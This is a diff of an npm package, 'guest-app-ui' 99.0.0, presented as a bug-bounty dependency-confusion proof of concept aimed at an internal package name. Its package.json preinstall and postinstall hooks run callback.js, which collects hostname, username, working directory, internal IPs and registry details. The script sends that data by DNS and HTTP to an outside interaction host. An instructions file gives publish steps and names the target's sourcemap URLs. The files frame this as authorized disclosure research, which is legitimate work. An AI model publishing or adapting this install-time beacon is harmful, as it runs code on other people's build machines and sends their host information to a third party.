guest-app-ui 99.0.0

package/INSTRUCTIONS.md

@@ -0,0 +1,45 @@
+# Publish + verify — guest-app-ui dependency-confusion PoC
+
+Webhook: `4li9yfz7.instances.httpworkbench.com` (yours, fresh for this PoC)
+
+## 0. Pre-flight (do NOT skip)
+- Confirm the **Accesso Passport** RoE permits a dependency-confusion PoC published to the
+  public npm registry. If it forbids publishing live code, stop and report the unclaimed-name
+  finding instead.
+- Re-confirm still unclaimed right before publishing:  `npm view guest-app-ui`  → should 404.
+
+## 1. Local self-test first (fires the beacon to your webhook without publishing)
+```sh
+cd depconf/poc-guest-app-ui
+node callback.js selftest
+```
+Check `4li9yfz7.instances.httpworkbench.com` — you should see one HTTP POST to
+`/guest-app-ui/selftest?d=...` and a DNS lookup. That proves the beacon works before you go public.
+
+## 2. Publish (your account `guest-app-ui`, free — NOT npm Pro)
+```sh
+cd depconf/poc-guest-app-ui
+npm whoami                 # should print: guest-app-ui
+npm publish --access public
+```
+`version 99.0.0` is set high on purpose to win version resolution.
+
+## 3. Watch the webhook
+Any interaction is decoded from the `d=` query param (base64url JSON) or the JSON POST body:
+`host`, `user`, `cwd`, `dir`, `platform`, `ips`, `registry`, `phase`, `ts`.
+- `registry` = `https://registry.npmjs.org/` (or empty) → **confirms public-npm resolution** = the bug.
+- A hit whose `host`/`ips`/`dir` map to **Accesso build/CI infra** = confirmed dependency confusion.
+
+## 4. Report (Bugcrowd — Accesso Passport)
+Include:
+- Evidence it's an internal bare-import dep: sourcemaps
+  `https://accountportal.meg-eu.accessoticketing.com/polyfills-HCXKRFJI.js.map` and
+  `https://pay-cdn.na2.accessoticketing.com/main.43c07be8e2d92b24.js.map`
+  showing `import { validString } from 'guest-app-ui';` and `node_modules/guest-app-ui/...`.
+- `npm view guest-app-ui` 404 (unclaimed) at time of testing.
+- The webhook callback log (redact nothing of yours; include timestamp + resolving registry).
+- Note the PoC is benign and you will unpublish on request.
+
+## 5. Clean up
+After triage, `npm unpublish guest-app-ui@99.0.0` (within 72h) or `npm deprecate` it, and
+hand the name to Accesso if they want it.

package/README.md

@@ -0,0 +1,18 @@
+# guest-app-ui — authorized security research placeholder
+
+**This is not a real package.** It is a benign proof-of-concept published under a
+responsible-disclosure / bug-bounty engagement (Bugcrowd — *Accesso Passport* program)
+by researcher **xor-rax-rax**.
+
+It demonstrates that the internal package name `guest-app-ui`, referenced as a bare
+import in Accesso front-end builds, was **unclaimed on the public npm registry** and was
+therefore susceptible to **dependency confusion**.
+
+The install script performs a single **benign out-of-band callback** (hostname, username,
+working directory, internal IP, and the resolving npm registry) to a researcher-controlled
+interaction host, purely to prove that the package was resolved and executed. It contains
+**no payload**, reads no application or user data, exfiltrates no secrets, and takes no
+destructive action.
+
+**If you are from Accesso and found this:** please respond on the Bugcrowd report. The name
+will be unpublished / handed over once the report is triaged.

package/callback.js

@@ -0,0 +1,81 @@
+/*
+ * Authorized dependency-confusion PoC beacon — Bugcrowd "Accesso Passport".
+ * Researcher: xor-rax-rax (Bugcrowd).
+ * BENIGN by design: collects only non-sensitive host-identifying recon (hostname,
+ * username, cwd, internal IPs, the npm registry that resolved this package) and sends
+ * it once, out-of-band, to a researcher-controlled interaction host. It performs NO
+ * destructive action, reads NO application/user files, exfiltrates NO environment
+ * secrets, and never throws (so it cannot break the victim build). Node built-ins only.
+ */
+'use strict';
+var os = require('os');
+var dns = require('dns');
+var https = require('https');
+var http = require('http');
+
+var COLLAB = '4li9yfz7.instances.httpworkbench.com';   // researcher-controlled OOB host
+var PKG = 'guest-app-ui';
+var phase = process.argv[2] || 'install';
+
+function internalIPs() {
+  var out = [];
+  try {
+    var ni = os.networkInterfaces();
+    Object.keys(ni).forEach(function (k) {
+      (ni[k] || []).forEach(function (a) {
+        if (a && a.family === 'IPv4') out.push(a.address);
+      });
+    });
+  } catch (e) {}
+  return out;
+}
+
+function safe(s) { return String(s == null ? '' : s).replace(/[^\w.\-:@/ ]/g, '_').slice(0, 120); }
+function b64url(s) { return Buffer.from(s).toString('base64').replace(/\+/g, '-').replace(/\//g, '_').replace(/=+$/, ''); }
+
+// deliberately-limited, non-secret recon
+var info = {
+  poc: 'dependency-confusion',
+  pkg: PKG,
+  phase: phase,
+  host: safe(os.hostname()),
+  user: safe((os.userInfo && os.userInfo().username) || process.env.USER || process.env.USERNAME || '?'),
+  cwd: safe(process.cwd()),
+  dir: safe(__dirname),
+  platform: safe(os.platform() + ' ' + os.release()),
+  ips: internalIPs().join(','),
+  registry: safe(process.env.npm_config_registry || ''),   // which registry pulled us (proves public-npm resolution)
+  ts: Date.now()
+};
+
+var payload = JSON.stringify(info);
+var token = b64url(info.host + '|' + info.user + '|' + info.pkg + '|' + phase);
+
+// 1) DNS beacon — label prepended to the collaborator host (works even if egress blocks HTTP)
+try {
+  var label = token.replace(/[^a-zA-Z0-9-]/g, '').slice(0, 60);   // one DNS-safe label <=63 chars
+  dns.lookup(label + '.' + COLLAB, function () {});
+  dns.resolve4(label + '.dns.' + COLLAB, function () {});
+} catch (e) {}
+
+// 2) HTTP(S) beacon — data in path + query, plus JSON body
+function beacon(lib, scheme) {
+  try {
+    var path = '/' + PKG + '/' + phase + '?d=' + b64url(payload);
+    var req = lib.request(
+      { host: COLLAB, port: scheme === 'https' ? 443 : 80, method: 'POST', path: path,
+        headers: { 'Content-Type': 'application/json', 'X-PoC': 'dependency-confusion', 'Content-Length': Buffer.byteLength(payload) },
+        timeout: 4000, rejectUnauthorized: false },
+      function (res) { res.on('data', function () {}); res.on('end', function () {}); }
+    );
+    req.on('error', function () {});
+    req.on('timeout', function () { try { req.destroy(); } catch (e) {} });
+    req.write(payload);
+    req.end();
+  } catch (e) {}
+}
+beacon(https, 'https');
+beacon(http, 'http');
+
+// never block/fail the install
+setTimeout(function () { try { process.exit(0); } catch (e) {} }, 4500);

package/index.js

@@ -0,0 +1,11 @@
+/*
+ * Benign stub for the authorized dependency-confusion PoC (Bugcrowd: Accesso Passport).
+ * The target imports `{ validString }` from 'guest-app-ui'. This stub provides a harmless,
+ * side-effect-free implementation so that if this package is ever resolved into a build,
+ * nothing crashes and no harm is done. No data collection happens here (that is only in
+ * the install-time callback, which is a benign out-of-band beacon).
+ */
+'use strict';
+function validString(s) { return typeof s === 'string' && s.length > 0; }
+module.exports = { validString: validString };
+module.exports.default = module.exports;

package/package.json

@@ -0,0 +1,13 @@
+{
+  "name": "guest-app-ui",
+  "version": "99.0.0",
+  "description": "Authorized security research: dependency-confusion proof-of-concept for the Bugcrowd 'Accesso Passport' program. Benign out-of-band callback only, no payload. If you are from Accesso and found this: it demonstrates that the internal package name 'guest-app-ui' was unclaimed on the public npm registry. Please contact the researcher via the Bugcrowd report.",
+  "main": "index.js",
+  "scripts": {
+    "preinstall": "node callback.js preinstall",
+    "postinstall": "node callback.js postinstall"
+  },
+  "keywords": ["security-research", "dependency-confusion", "poc", "bugcrowd"],
+  "author": "xor-rax-rax (Bugcrowd - Accesso Passport authorized PoC)",
+  "license": "MIT"
+}